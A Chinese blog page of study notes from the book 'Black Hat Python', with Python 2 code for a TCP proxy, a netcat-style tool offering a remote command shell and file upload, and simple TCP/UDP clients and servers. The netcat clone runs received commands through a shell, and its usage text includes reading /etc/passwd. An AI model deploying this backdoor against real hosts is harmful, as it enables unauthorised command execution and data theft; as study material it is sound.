分类 python 下的文章

创建一个TCP代理

这是一个流量转发的工具,监听一个端口,等待连接,当有客户端连接进入的时候,接受数据,然后跟远端服务器建立连接,发送这些数据;然后反过来,接受远端服务器的数据,发送给客户端,如此反复。

#!/usr/bin/env python
#-- coding:utf-8 --
import sys
import socket
import threading

def hexdump(src, length=16):
result = []
digits = 4 if isinstance(src, unicode) else 2

for i in xrange(0, len(src), length):
    s = src[i:i+length]
    hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])
    text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
    result.append(b"%04X %-*s %s" % (i, length*(digits + 1), hexa, text))
    
print b'\n'.join(result)

def receive_from(connection):

buffer = ""

#我们设置了两秒钟的超时,这取决与目标的情况,可能需要调整
connection.settimeout(2)

try:
    while True:
        data = connection.recv(4096)
        
        if not data:
            break
        buffer += data
except:
    pass

return buffer

#对目标是远程主机的请求进行修改
def request_handler(buffer):
#执行包修改
return buffer

#对目标是本地主机的请求进行修改
def response_handler(buffer):
#执行包修改
return buffer
def proxy_handler(client_socket, remote_host, remote_port, receive_first):

#连接远程主机
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((remote_host,remote_port))

#如果必要从远程主机接收数据
if receive_first:
    
    remote_buffer = receive_from(remote_socket)
    hexdump(remote_buffer)
    
    #发送给我们的响应处理
    remote_buffer = response_handler(remote_buffer)
    
    #如果我们有数据传递给本地客户端,发送它
    if len (remote_buffer):
        print "[<==] Sending %d bytes to localhost." % len(remote_buffer)
        client_socket.send(remote_buffer)
#现在我们从本地循环读取数据,发送给远程主机和本地主机
while True:
    
    #从本地读取数据
    local_buffer = receive_from(client_socket)
    
    
    if len(local_buffer):
        
        print "[==>] Received %d bytes from loclhost." %len(local_buffer)
        hexdump(local_buffer)
        
        #发送给我们的本地请求
        local_buffer = request_handler(local_buffer)
        
        #向远程主机发送数据
        remote_socket.send(local_buffer)
        print "[==>] Sent to remote."
        
    #接收响应的数据
    remote_buffer = receive_from(remote_socket)
    
    if len(remote_buffer):
        
        print "[<==] Received %d bytes from remote." % len(remote_buffer)
        hexdump(remote_buffer)
        
        #发送到响应处理函数
        remote_buffer = response_handler(remote_buffer)
        
        #将响应发送给本地socket
        client_socket.send(remote_buffer)
        
        print "[<==] Sent to localhost."
        
    #如果两边都没有数据,关闭连接
    if not len (local_buffer) or not len (remote_buffer):
        client_socket.close()
        remote_socket.close()
        print "[*] No more data. Closing connections."
        
        break

def server_loop(local_host,local_port,remote_host,remote_port,receive_first):

server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
    server.bind((local_host,local_port))
except:
    print "[!!] Failed to listen on %s:%d" % (local_host,local_port)
    print "[!!] Check for other listening sockets or correct permissions."
    sys.exit(0)
    
print "[*] Listening on %s:%d" % (local_host,local_port)


server.listen(5)

while True:
    client_socket, addr = server.accept()
    
    #打印出本地连接信息
    print "[==>] Received incoming connection from %s:%d" % (addr[0],addr[1])
    
    #开启一个线程与远程主机通信
    proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket,remote_host,remote_port,receive_first))
    
    proxy_thread.start()
    

def main():
#没有华丽的命令行解析
if len(sys.argv[1:]) != 5:
print "Usage: ./proxy.py [localhost][localport][remotehost][remoteport][receive_first]"
print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
sys.exit(0)

#设置本地监听参数
local_host = sys.argv[1]
local_port = int(sys.argv[2])

#设置远程目标
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])

#告诉代理在发送给远程主机之前连接和接受数据
receive_first = sys.argv[5]

if "True" in receive_first:
    receive_first = True
else:
    receive_first = False
    
#现在设置好我们的监听socket
server_loop(local_host, local_port, remote_host, remote_port, receive_first)

main()

代码测试
root@kali$ python tcpProxy.py 127.0.0.1 21 ftp.target.ca 21 True

让我们通过代理FTP服务的流量进行测试,需要将代理指向真实的FTP服务器,这样才能获得实际的相应。


简单的netcat

Netcat简介:

Netcat是网络界的“瑞士军刀”——身材很小,用途很广

实现功能:侦听传输模式、telent(获取banner信息)、传输文本信息、传输文件(目录)、加密传输文件、远程控制(木马)、加密流量、流媒体服务器、远程克隆硬盘等...

参数介绍:
-n 不做域名解析,就是只能用IP地址
-p 接端口
-l 打开监听
-c 去连接
-v 显示详细信息
-q 后接时间,单位为s,意思后完成一个任务1秒后断开连接
-c 后接bash或者cmd
如果要被连接,就用监听一个端口,如果要连接,就去输入IP地址和端口,他可以配合多个工具在用管道重定向等实现很多功能。

学习本节需要了解 subprocess 库。subprocess提供了强大的进程创建接口,它可以提供给你多种与客户端程序交互的方法。
https://docs.python.org/2/library/subprocess.html
http://python.usyiyi.cn/translate/python_278/library/subprocess.html (中文版)

代码中一共有6个函数
def run_command(command) 函数:生成一个新的进程执行命令,用到了 subprocess模块
def client_sender(buffer) 函数: 工具运行在非监听模式下,执行的功能(循环的发送读取数据)
def server_loop() 函数:工具运行在监听模式下的主循环函数,每当有新的连接进来,创建新线程
def client_handler(client_socket): 函数:新线程要执行的代码都在这里了
def usage() 函数: 提示信息
def main() 函数:main 函数就是利用getopt 实现对参数的解析

具体思路
首先判断有没有数据需要收,如果有,那就收,写入文件
然后判断有没有命令要执行,如果有,那就执行,执行结果返回回去
最后判断是否有-c 选项,也就是 command,如果有,模仿 shell,接受数据,执行命令,返回结果

#!/usr/bin/env python
#-- coding:utf-8 --
import sys
import socket
import getopt
import threading
import subprocess

#定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

def client_handler(client_socket):
global upload
global execute
global command

#检测上传文件
if len(upload_destination):
    
    #读取所有的字符并写下目标
    file_buffer = ""
    
    #持续读取数据直到没有符合的数据
    
    while True:
        data = client_socket.recv(1024)
        
        if not data:
            break
        else:
            file_buffer += data
            
    try:
        file_descriptor = open(upload_destination,"wb")
        file_descriptor.write(file_buffer)
        file_descriptor.close()
        
        #确认文件已经写出来
        client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
    except:
        client_socket.send("Failed to save file to %s\r\n" % upload_destination)
        
#检查命令执行
if len(execute):
    
    #运行命令
    output = run_command(execute)
    client_socket.send(output)
    
#如果需要一个命令行shell,那么我们进入另一个循环
if command:
    
    while True:
        #跳出一个窗口
        client_socket.send("<BHP:#>")
        
        #现在我们接收文件知道发现换行符(enter key)
        cmd_buffer = ""
        while "\n" not in cmd_buffer:
            cmd_buffer += client_socket.recv(1024)
        
        #返回命令输出
        response = run_command(cmd_buffer)
        
        #返回响应数据
        client_socket.send(response)

def run_command(command):

#换行
command = command.rstrip()

#运行命令并将输出返回,处理错误
try:
    output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
except:
    output = "Failed to execute command.\r\n"
    
#将输出发送
return output

#切断服务
def server_loop():
global target

#如果没有定义目标,那么我们监听所有接口
if not len(target):
    target = "0.0.0.0"
    
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target,port))

server.listen(5)

while True:
    client_socket, addr = server.accept()
    
    #分拆一个线程处理新的客户端
    client_thread = threading.Thread(target=client_handler, args=(client_socket,))
    client_thread.start()
    

def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#连接目标主机,如果有需要发送的数据,则进行发送
try:
    client.connect((target,port))
    
    if len(buffer):
        client.send(buffer)
    
    #如果一切正常,则发送数据等待回传    
    while True:
        #做一个登录监听
        recv_len = 1
        response = ""
        
        #直到没有数据继续,等待用户下一步输入
        while recv_len:
            
            data     = client.recv(4096)
            recv_len = len(data)
            response+= data
            
            if recv_len < 4096:
                break
            
        print response
        
        #等待更多的输入
        buffer = raw_input("")
        buffer += "\n"
        
        #发送出去
        client.send(buffer)
        
        
except:
    
    print " [*] Exception! Exiting."
    
#关闭连接
client.close()

#如果命令参数不符合标准,打印出工具帮助信息
def usage():
print "BHP Net Tool"
print
print "Usage: bhpnet.py -t target_host -p port"
print "-l --listen -listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run -execute the given file upon receiving a connection"
print "-c --command -initialize a command shell"
print "-u --upload=destination -upon receiving connection upload a file and write to [destination]"
print
print
print "Examples: "
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e="cat /etc/passwd""
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0)

#主函数
def main():
#将变量定义为全局变量
global listen
global port
global execute
global command
global upload_destination
global target

if not len(sys.argv[1:]):
    usage()
    
#读取命令行选项
try:
    opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
    print str(err)
    usage()
    
for o,a in opts:
    if o in ("-h","--help"):
        usage()
    elif o in ("-l", "listen"):
        listen = True
    elif o in ("-e", "--execute"):
        execute = a
    elif o in ("-c", "--commandshell"):
        command = True
    elif o in ("-u", "--upload"):
        upload_destination = a
    elif o in ("-t", "--target"):
        target = a
    elif o in ("-p", "--port"):
        port = int(a)
    else:
        assert False,"Unhandled Option"
        
#选择进行监听还是仅从标准输入发送数据?
if not listen and len(target) and port > 0:
    
    #从命令行读取内存数据
    #这里将阻塞,所以不在向标准输入发送数据时发送CTRL-D
    buffer = sys.stdin.read()
    
    #发送数据
    client_sender(buffer)
    
    #我们开始监听并准备上传文件,执行命令
    #放置一个反弹shell
    #取决于上面的命令行选项
if listen:
    server_loop()

main()

现在让我们进行程序的测试,看看输出情况。在一个终端或者cmd.exe shell 中,运行我们的如下脚本:

justin$ python bhnet.py -l -p 9999 -c

现在,你可以启动另外一个终端或者cmd.exe,或者以客户端模式运行脚本。记住我们的脚本读取的是标准输入直到接收到EOF(文件末尾标志),按Ctrl+D组合键发送EOF指令:

justin$ python bhnet.py -t localhaost -p 9999
<CTRL-D>
<BHP:#> ls -la
<BHP:#> pwd
<BHP:#>

我们也可以直接利用客户端发送HTTP请求:
justin$ echo -ne "GET / HTTP/1.1\r\nHost:www.baidu.com\r\n\r\n" | python bhnet.py -t www.baidu.com -p 80


UDP客户端与服务器

python编写的UDP客户端和TCP客户端相差不大,我们需要做简单的修改,将数据包以UDP的格式发出。UDP服务器书上并没有给出,我参考了一些网上的代码。

UDP客户端:
#!/usr/bin/env python
#-- coding:utf-8 --
import socket

target_host = "0.0.0.0"
target_port = 8888

#建立一个socket对象
client = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

#发送一些数据
client.sendto("AAABBBCCC",(target_host,target_port))

#接收一些数据
data, addr = client.recvfrom(4096)

print data

UDP服务器:
#!/usr/bin/env python
#-- coding:utf-8 --
import socket
import threading
from time import ctime

#绑定服务器所要监听的IP地址和端口
HOST = "0.0.0.0"
PORT = 8888

#这里需要将传输改为UDP
server = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

#启动监听
server.bind((HOST,PORT))

#server.listen(5)

print "[*] listen on %s:%d" % (HOST,PORT)

#客户处理线程
def handle_client(data, client_socket):
    
    request = client_socket.recvfrom(1024)
    
    print "[*] Received: %s" % request
    
    client_socket.sendto("[ACK!]",(HOST,PORT))
    
    client_socket.close()


while True:
    client,addr = server.recvfrom(1024)
    print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1])

    #挂起客户端线程,处理传入的数据
    client_handler = threading.Thread(target=handle_client,args=(client,server))
    client_handler.start()

经过测试,可以成功连接。


TCP客户端与服务器

心血来潮,突然想做一个自己的学习记录,还请路过的师傅们多多指点!
参考书籍《python黑帽子》

环境准备:
kali-linux-1.0.9虚拟机,由于kali官方不再给予老版本kali的更新,我使用的是kali2016.1虚拟机。
镜像下载:http://cdimage.kali.org/kali-images/

执行 python --version 检查你的python版本是否为Python2.7版本。

安装Python管理工具:esay_install和pip。
root@kali:~#: apt-get install python-setuptools python-pip

在软件包安装,完成后,我们迅速测试一下,安装之后制作的基于GitHub的木马所需要的模块。
root@kali:~#: pip install github3.py

测试Python环境,查看函数库是否正确安装。
root@kali:~#: python
Python 2.7.12+ (default, Sep  1 2016, 20:27:38)
[GCC 6.2.0 20160927] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import github3
>>>exit()

如果输出情况和上面代码不一致,则说明你的配置存在错误。

关于之后要用到的Socket模块的学习:
https://docs.python.org/2/library/socket.html
http://python.usyiyi.cn/translate/python_278/library/socket.html(中文版)

TCP客户端:
#!/usr/bin/env python
#-- coding:utf-8 --
import socket

target_host = "0.0.0.0"
target_port = 9999

#建立一个socket对象(AF_INET:使用标准IPV4地址或主机名,  SOCK_STREAM:TCP客户端)
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#连接客户端
client.connect((target_host,target_port))

#发送TCP数据
client.send("GET / HTTP/1.1\r\nHost:baidu.com\r\n\r\n")

#接收数据(4096个字符)
response = client.recv(4096)

print response

在以上代码中对套接字做了一定的假设:
1.假设连接总是能成功建立,不会出错或异常;
2.假设服务器总是期望客户端能首先发送数据(与之相反的是的服务器首先向你发送数据并等待你的相应);
3.假设是服务器每次都能及时返回数据。

TCP服务器:
#!/usr/bin/env pyhton
#-- coding:utf-8 --
import socket
import threading

#绑定服务器需要监听IP地址和端口
bind_ip = "0.0.0.0"
bind_port = 9999

server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#启动监听
server.bind((bind_ip,bind_port))

#设置最大连接数为5
server.listen(5)

print "[*] Listening on %s:%d" % (bind_ip,bind_port)

#这是客户处理线程(执行recv()函数将一段信息发送给客户端)
def handle_client(client_socket):

    #打印出客户端发送得到内容
    request = client_socket.recv(1024)

    print "[*] Received: %s" % request

    #返还一个数据包
    client_socket.send("ACK!")

    client_socket.close()

while True:

    client,addr = server.accept()

    print "[*] Accepted connection from:%s:%d" % (addr[0],addr[1])

    #挂起客户端线程,处理传入的数据
    client_handler = threading.Thread(target=handle_client,args=(client,))
    client_handler.start()

测试结果
QQ图片20161113171653.png